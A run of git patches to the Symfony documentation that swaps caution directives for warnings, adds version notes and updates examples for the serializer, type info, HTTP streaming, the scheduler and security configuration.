From 85ceb630c6ec51f55f185847dc191d5dad2e712b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 12:13:49 +0100
Subject: [PATCH 6555/7107] Replaced `caution` directive by `warning`

Fixes #20371
---
 components/type_info.rst | 2 +-
 doctrine.rst             | 2 +-
 mailer.rst               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..2fd64b9bc5d 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,7 +11,7 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
+.. warning::
 
     This component is :doc:`experimental </contributing/code/experimental>` and
     could be changed at any time without prior notice.
diff --git a/doctrine.rst b/doctrine.rst
index f9c1d153d82..171f8a3348a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -320,7 +320,7 @@ before, execute your migrations:
 
     $ php bin/console doctrine:migrations:migrate
 
-.. caution::
+.. warning::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
diff --git a/mailer.rst b/mailer.rst
index 0d3e296ee77..06feb1e5c29 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -361,7 +361,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
-.. caution::
+.. warning::
 
     It's not recommended to disable TLS while connecting to an SMTP server over
     the Internet, but it can be useful when both the application and the SMTP

From 0a3fb8d716fd0adf21d56762821ce7b19f71b90b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 12:19:15 +0100
Subject: [PATCH 6556/7107] Replaced `caution` directive by `warning`

Fixes #20371
---
 reference/forms/types/options/choice_lazy.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index bdcbf178406..08fbe953e41 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -24,7 +24,7 @@ will only load and render the choices that are preset as default values or
 submitted. This defers the loading of the full list of choices, helping to
 improve your form's performance.
 
-.. caution::
+.. warning::
 
     Keep in mind that when using ``choice_lazy``, you are responsible for
     providing the user interface for selecting choices, typically through a

From 0f8ce658c5381d1ab5910e2dcd84dde27cbc200f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Dec 2024 12:58:50 +0100
Subject: [PATCH 6557/7107] [Mesenger] Mention that some option doesn't have
 docs

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c86ae948b0c..9d5ab5d35c8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1465,7 +1465,7 @@ The transport has a number of options:
     (no description available)
 
 ``sasl_method``
-
+    (no description available)
 
 ``connection_name``
     For custom connection names (requires at least version 1.10 of the PHP AMQP

From b53029a64602d1cde5aa704ae1145532ee875bf3 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Mon, 22 Apr 2024 18:56:41 +0200
Subject: [PATCH 6558/7107] [Serializer] Add class/format/context to
 NameConverterInterface

Fix #19683
---
 serializer/custom_name_converter.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
index 82247134217..d0ed45bdc0a 100644
--- a/serializer/custom_name_converter.rst
+++ b/serializer/custom_name_converter.rst
@@ -30,19 +30,26 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName): string
+        public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string
         {
             // during normalization, add the prefix
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName): string
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // remove the 'org_' prefix on denormalizing
             return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
         }
     }
 
+.. versionadded:: 7.1
+
+    Accessing the current class name, format and context via
+    :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize`
+    and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize`
+    was introduced in Symfony 7.1.
+
 .. note::
 
     You can also implement

From a1d672b429048484cb491225a835ec58d0fafd00 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 7 Dec 2024 14:06:39 +0100
Subject: [PATCH 6559/7107] add symfonycasts links in frontend doc

---
 frontend.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index f498dc737b5..c28e6fcf222 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,6 +61,10 @@ be executed by a browser.
 AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `AssetMapper screencast series`_.
+
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
@@ -118,6 +122,10 @@ the `StimulusBundle Documentation`_
 Using a Front-end Framework (React, Vue, Svelte, etc)
 -----------------------------------------------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `API Platform screencast series`_.
+
 If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
 we recommend using their native tools and using Symfony as a pure API. A wonderful
 tool to do that is `API Platform`_. Their standard distribution comes with a
@@ -143,3 +151,5 @@ Other Front-End Articles
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
+.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform

From d159a4a03e036d7a4664fd02fe07ddf1480850a4 Mon Sep 17 00:00:00 2001
From: Nicolas Appriou <n.appriou@alsim.com>
Date: Wed, 1 Feb 2023 12:55:17 +0100
Subject: [PATCH 6560/7107] [HttpFoundation] Update http response test
 constraint signature

---
 testing.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 2e681c70543..30c0e87ab77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -961,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases:
 Response Assertions
 ...................
 
-``assertResponseIsSuccessful(string $message = '')``
+``assertResponseIsSuccessful(string $message = '', bool $verbose = true)``
     Asserts that the response was successful (HTTP status is 2xx).
-``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code). The excepted location can be either
     an absolute or a relative path.
@@ -983,9 +983,13 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')``
+``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 7.1
+
+    The ``$verbose`` parameters were introduced in Symfony 7.1.
+
 Request Assertions
 ..................
 

From 525deadc804f27e9f2ff6f54665a5fdfd4065d58 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Mon, 21 Aug 2023 20:26:56 +0200
Subject: [PATCH 6561/7107] Update calling_commands.rst - call the command non
 interactively

https://github.com/symfony/symfony/issues/51339
---
 console/calling_commands.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 7780fca467e..349f1357682 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -36,6 +36,9 @@ method)::
                 '--yell'  => true,
             ]);
 
+            // disable interactive behavior for the greet command
+            $greetInput->setInteractive(false);
+
             $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...

From fd5d5bb0bdc2f6eb46564081cffa98e1d7e06b84 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 7 Dec 2024 14:42:35 +0100
Subject: [PATCH 6562/7107] Remove obsolete whitelist entry

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f78b5c21ec9..4bac215563d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,7 +101,6 @@ whitelist:
         - '#. The most important config file is ``app/config/services.yml``, which now is'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst

From 5dfb6fc91618c5a57cf166159f0eab2762951d7c Mon Sep 17 00:00:00 2001
From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com>
Date: Tue, 4 Jun 2024 19:23:39 +0200
Subject: [PATCH 6563/7107] Add more necessary information

---
 reference/forms/types/time.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index e4ec432da08..6763289fcc2 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -82,6 +82,9 @@ values for the hour, minute and second fields::
         ],
     ]);
 
+If you want seconds to be displayed as well, take a look at the setting 
+`with_seconds`_, which is by default set to false.
+
 .. include:: /reference/forms/types/options/hours.rst.inc
 
 .. include:: /reference/forms/types/options/html5.rst.inc

From 6aa67f514e7d6d2134e2b091e70ceb3feb3761b9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Dec 2024 14:50:39 +0100
Subject: [PATCH 6564/7107] [#19940] Use specialized directive

---
 reference/forms/types/time.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 6763289fcc2..f6a612844be 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -82,8 +82,9 @@ values for the hour, minute and second fields::
         ],
     ]);
 
-If you want seconds to be displayed as well, take a look at the setting 
-`with_seconds`_, which is by default set to false.
+.. seealso::
+
+    See the `with_seconds`_ option on how to enable seconds in the form type.
 
 .. include:: /reference/forms/types/options/hours.rst.inc
 

From 35a3db1adfb2c59c46bce81fe57971c74eaf2056 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 16:49:57 +0100
Subject: [PATCH 6565/7107] Added replacement suggestions for forbidden
 directives

Also bumped DOCtor RST workflow to 1.64.0 to allow this
---
 .doctor-rst.yaml          | 3 ++-
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f78b5c21ec9..f151f91e018 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,7 +23,8 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
-            - '.. caution::'
+            - directive: '.. caution::'
+              replacements: ['.. warning::', '.. danger::']
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 4d67a5c084c..d072158138a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.63.0
+                uses: docker://oskarstark/doctor-rst:1.64.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1d690fc9714cf2ebb6506c3656e6aa6e7909c33a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sat, 7 Dec 2024 17:04:18 +0100
Subject: [PATCH 6566/7107] [AssetMapper] mention Zopfli pre-compression and
 add config for web servers

---
 frontend/asset_mapper.rst | 23 ++++++++++++++++++++++-
 1 file changed, 22 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b55803e157f..e83da5aa42b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -726,7 +726,7 @@ installed the following PHP extensions or CLI commands:
 
 * Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
 * Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
-* gzip: ``gzip`` CLI command; `zlib PHP extension`_.
+* gzip: ``zopfli`` (better) or ``gzip`` CLI command; `zlib PHP extension`_.
 
 Then, update your AssetMapper configuration to define which compression to use
 and which file extensions should be compressed:
@@ -751,6 +751,27 @@ compressed files are created with the same name as the original but with the
 precompression will use the compressed assets automatically, so there's nothing
 else to configure in your server.
 
+Finally, you need to configure your web server to serve the precompressed assets
+instead of the original ones:
+
+.. configuration-block::
+
+    .. code-block:: caddy
+
+        file_server {
+            precompressed br zstd gzip
+        }
+
+    .. code-block:: nginx
+
+        gzip_static on;
+
+        # Requires https://github.com/google/ngx_brotli
+        brotli_static on;
+
+        # Requires https://github.com/tokers/zstd-nginx-module
+        zstd_static on;
+
 .. tip::
 
     AssetMapper provides an ``assets:compress`` CLI command and a service called

From d94be3f1575f1696e088378390ec7cc03cd9dbf2 Mon Sep 17 00:00:00 2001
From: Florian Moser <git@famoser.ch>
Date: Sun, 8 Dec 2024 15:52:04 +0100
Subject: [PATCH 6567/7107] Add missing argument

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index c783b138acb..4a4a934ca01 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1818,7 +1818,7 @@ property. This can be used instead of
             },
         ],
     ];
-    $jsonContent = $serializer->serialize($person, 'json');
+    $jsonContent = $serializer->serialize($person, 'json', $context);
     // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
 
 Advanced Deserialization

From 9eb33c848bcf7ba26e42f7b8a080358933218cdc Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 10 Dec 2024 12:08:13 +0100
Subject: [PATCH 6568/7107] Update security.rst

---
 reference/configuration/security.rst | 52 ++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b89aab67608..ac9e0382fa5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1075,6 +1075,58 @@ the session must not be used when authenticating users:
             // ...
         };
 
+.. _reference-security-lazy:
+
+lazy
+~~~~~~~~~
+
+Firewalls can configure a ``lazy`` boolean option in order to load the user and start the session only
+if the application actually accesses the User object,
+(e.g. via a is_granted() call in a template or isGranted() in a controller or service):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    lazy: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" lazy="true">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            // ...
+        };
+
 User Checkers
 ~~~~~~~~~~~~~
 

From b38b1fac1fefda1706e10c32d06d9bade6952af7 Mon Sep 17 00:00:00 2001
From: pgorod <pgorod@users.noreply.github.com>
Date: Fri, 6 Dec 2024 12:32:39 +0000
Subject: [PATCH 6569/7107] [Scheduler] Add some pointers regarding worker
 processes deployment

---
 scheduler.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..8956ff2fe8d 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -818,6 +818,14 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+.. tip::
+
+    Depending on your deployment scenario, instead of manually executing this
+    Messenger worker process, you might want to run it with cron, supervisor or systemd,
+    and ensure workers are running at all times. Check out the `Deploying to Production`_
+    section of the Messenger component documentation.
+
+
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -981,6 +989,7 @@ helping you identify those messages when needed.
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From d03ce88795d97e980023bf76d155a9625dd17fea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2024 13:10:00 +0100
Subject: [PATCH 6570/7107] Minor tweaks

---
 scheduler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8956ff2fe8d..64602cf6034 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -820,11 +820,10 @@ the Messenger component:
 
 .. tip::
 
-    Depending on your deployment scenario, instead of manually executing this
-    Messenger worker process, you might want to run it with cron, supervisor or systemd,
-    and ensure workers are running at all times. Check out the `Deploying to Production`_
-    section of the Messenger component documentation.
-
+    Depending on your deployment scenario, you may prefer automating the execution of
+    the Messenger worker process using tools like cron, Supervisor, or systemd.
+    This ensures workers are running continuously. For more details, refer to the
+    `Deploying to Production`_ section of the Messenger component documentation.
 
 Creating a Consumer Programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b16b5673e831e6a0fd86367135e47509e6d58165 Mon Sep 17 00:00:00 2001
From: Arnaud Lemercier <arnaud@wixiweb.fr>
Date: Sun, 8 Dec 2024 19:23:50 +0100
Subject: [PATCH 6571/7107] Update controller.rst

fix a problem to load "Style" (see : https://frankenphp.dev/docs/early-hints/)
---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 8eddd3788cc..3d4f84b4888 100644
--- a/controller.rst
+++ b/controller.rst
@@ -798,7 +798,7 @@ method::
         {
             $response = $this->sendEarlyHints([
                 new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
-                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/style.css'))->withAttribute('as', 'style'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 

From 405f95ef8844382504372d0dc85178505d7cdfed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2024 15:51:38 +0100
Subject: [PATCH 6572/7107] Minor reword

---
 components/type_info.rst | 64 ++++++++++++++++++++++------------------
 1 file changed, 35 insertions(+), 29 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 18556e02972..734ac4140ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -43,9 +43,9 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
 Resolvers
 ~~~~~~~~~
 
-The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string, this is aimed towards libraries that wants to
-describe a class or anything that has a type easily::
+The second way to use the component is by using ``TypeInfo`` to resolve a type
+based on reflection or a simple string. This approach is designed for libraries
+that need a simple way to describe a class or anything with a type::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
@@ -82,13 +82,15 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-PHPDoc parsing
+PHPDoc Parsing
 ~~~~~~~~~~~~~~
 
-But most times you won't have clean typed properties or you want a more precise type
-thank to advanced PHPDoc, to do that you would want a string resolver based on that PHPDoc.
-First you will require ``phpstan/phpdoc-parser`` package from composer to support string
-revolving. Then you would do as following::
+In many cases, you may not have cleanly typed properties or may need more precise
+type definitions provided by advanced PHPDoc. To achieve this, you can use a string
+resolver based on the PHPDoc annotations.
+
+First, run the command ``composer require phpstan/phpdoc-parser`` to install the
+PHP package required for string resolving. Then, follow these steps::
 
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
@@ -106,35 +108,40 @@ revolving. Then you would do as following::
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
 
-Advanced usages
+Advanced Usages
 ~~~~~~~~~~~~~~~
 
-There is many methods to manipulate and check types depending on your needs within the TypeInfo components.
+The TypeInfo component provides various methods to manipulate and check types,
+depending on your needs.
 
-If you need a check a simple Type::
+Checking a **simple type**::
 
-    // You need to check if a Type
-    $type = Type::int(); // with a simple int type
-    // You can check if a given type comply with a given identifier
-    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    // define a simple integer type
+    $type = Type::int();
+    // check if the type matches a specific identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
     $type->isIdentifiedBy(TypeIdentifier::STRING); // false
 
-    $type = Type::union(Type::string(), Type::int()); // with an union of int and string types
-    // You can now see that the second check will pass to true since we have an union with a string type
-    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    // define a union type (equivalent to PHP's int|string)
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type contains the string type
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
     $type->isIdentifiedBy(TypeIdentifier::STRING); // true
 
     class DummyParent {}
     class Dummy extends DummyParent implements DummyInterface {}
-    $type = Type::object(Dummy::class); // with an object Type
-    // You can check is the Type is an object, or even if it's a given class
+
+    // define an object type
+    $type = Type::object(Dummy::class);
+
+    // check if the type is an object or matches a specific class
     $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
-    $type->isIdentifiedBy(Dummy::class); // true
-    // Or inherits/implements something
-    $type->isIdentifiedBy(DummyParent::class); // true
-    $type->isIdentifiedBy(DummyInterface::class); // true
+    $type->isIdentifiedBy(Dummy::class);           // true
+    // check if it inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class);     // true
+    $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Sometimes you want to check for more than one thing at a time so a callable may be better to check everything::
+Using callables for **complex checks**:
 
     class Foo
     {
@@ -150,8 +157,7 @@ Sometimes you want to check for more than one thing at a time so a callable may
     $stringType = $resolver->resolve($reflClass->getProperty('string'));
     $floatType = $resolver->resolve($reflClass->getProperty('float'));
 
-    // your callable to check whatever you need
-    // here we want to validate a given type is a non nullable number
+    // define a callable to validate non-nullable number types
     $isNonNullableNumber = function (Type $type): bool {
         if ($type->isNullable()) {
             return false;
@@ -165,5 +171,5 @@ Sometimes you want to check for more than one thing at a time so a callable may
     };
 
     $integerType->isSatisfiedBy($isNonNullableNumber); // true
-    $stringType->isSatisfiedBy($isNonNullableNumber); // false
-    $floatType->isSatisfiedBy($isNonNullableNumber); // false
+    $stringType->isSatisfiedBy($isNonNullableNumber);  // false
+    $floatType->isSatisfiedBy($isNonNullableNumber);   // false

From f87bbdf690f629b3096a1f8d0848f471d5e966ed Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Wed, 11 Dec 2024 10:38:18 +0100
Subject: [PATCH 6573/7107] [HttpFoundation] Add StreamedResponse string
 iterable documentation

---
 components/http_foundation.rst | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index c91ec5ced8f..8db6cd27f68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -681,8 +681,19 @@ Streaming a Response
 ~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedResponse` class allows
-you to stream the Response back to the client. The response content is
-represented by a PHP callable instead of a string::
+you to stream the Response back to the client. The response content can be
+represented by a string iterable::
+
+    use Symfony\Component\HttpFoundation\StreamedResponse;
+
+    $chunks = ['Hello', ' World'];
+
+    $response = new StreamedResponse();
+    $response->setChunks($chunks);
+    $response->send();
+
+For most complex use cases, the response content can be instead represented by
+a PHP callable::
 
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
@@ -710,6 +721,10 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
+.. versionadded:: 7.3
+
+    Support for using string iterables was introduced in Symfony 7.3.
+
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b66e743657a527d4c14e3e4a1330893c6956cc4d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20L=C3=A9v=C3=AAque?= <sebastien@leveque.eu>
Date: Wed, 11 Dec 2024 17:11:32 +0100
Subject: [PATCH 6574/7107] [Console] Add support of millisecondes for
 formatTime

---
 components/console/helpers/formatterhelper.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 3cb87c4c307..bff0c82c90f 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -129,10 +129,12 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    Helper::formatTime(42);        // 42 secs
-    Helper::formatTime(125);       // 2 mins
-    Helper::formatTime(125, 2);    // 2 mins, 5 secs
-    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(0.001);         // 1 ms
+    Helper::formatTime(42);            // 42 s
+    Helper::formatTime(125);           // 2 min
+    Helper::formatTime(125, 2);        // 2 min, 5 s
+    Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
+    Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
 
 Formatting Memory
 -----------------

From bf5dd100d61c54ed6e4ed729198d2d04a64940a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2024 10:56:45 +0100
Subject: [PATCH 6575/7107] Add the versionadded directive

---
 components/console/helpers/formatterhelper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index bff0c82c90f..d2b19915a3a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -136,6 +136,10 @@ precision (default ``1``) of the result::
     Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
     Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
 
+.. versionadded:: 7.3
+
+    Support for formatting up to milliseconds was introduced in Symfony 7.3.
+
 Formatting Memory
 -----------------
 

From eb5ffa691cc0239d89c72d9ca74897b2e85b23fc Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Thu, 12 Dec 2024 11:48:47 +0100
Subject: [PATCH 6576/7107] Fix PHP block in TypeInfo documentation

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 734ac4140ba..e7062c5f249 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -141,7 +141,7 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Using callables for **complex checks**:
+Using callables for **complex checks**::
 
     class Foo
     {

From 3e4bcf17aae617ddf5295e53b95bd505b1a1d509 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Thu, 12 Dec 2024 11:48:47 +0100
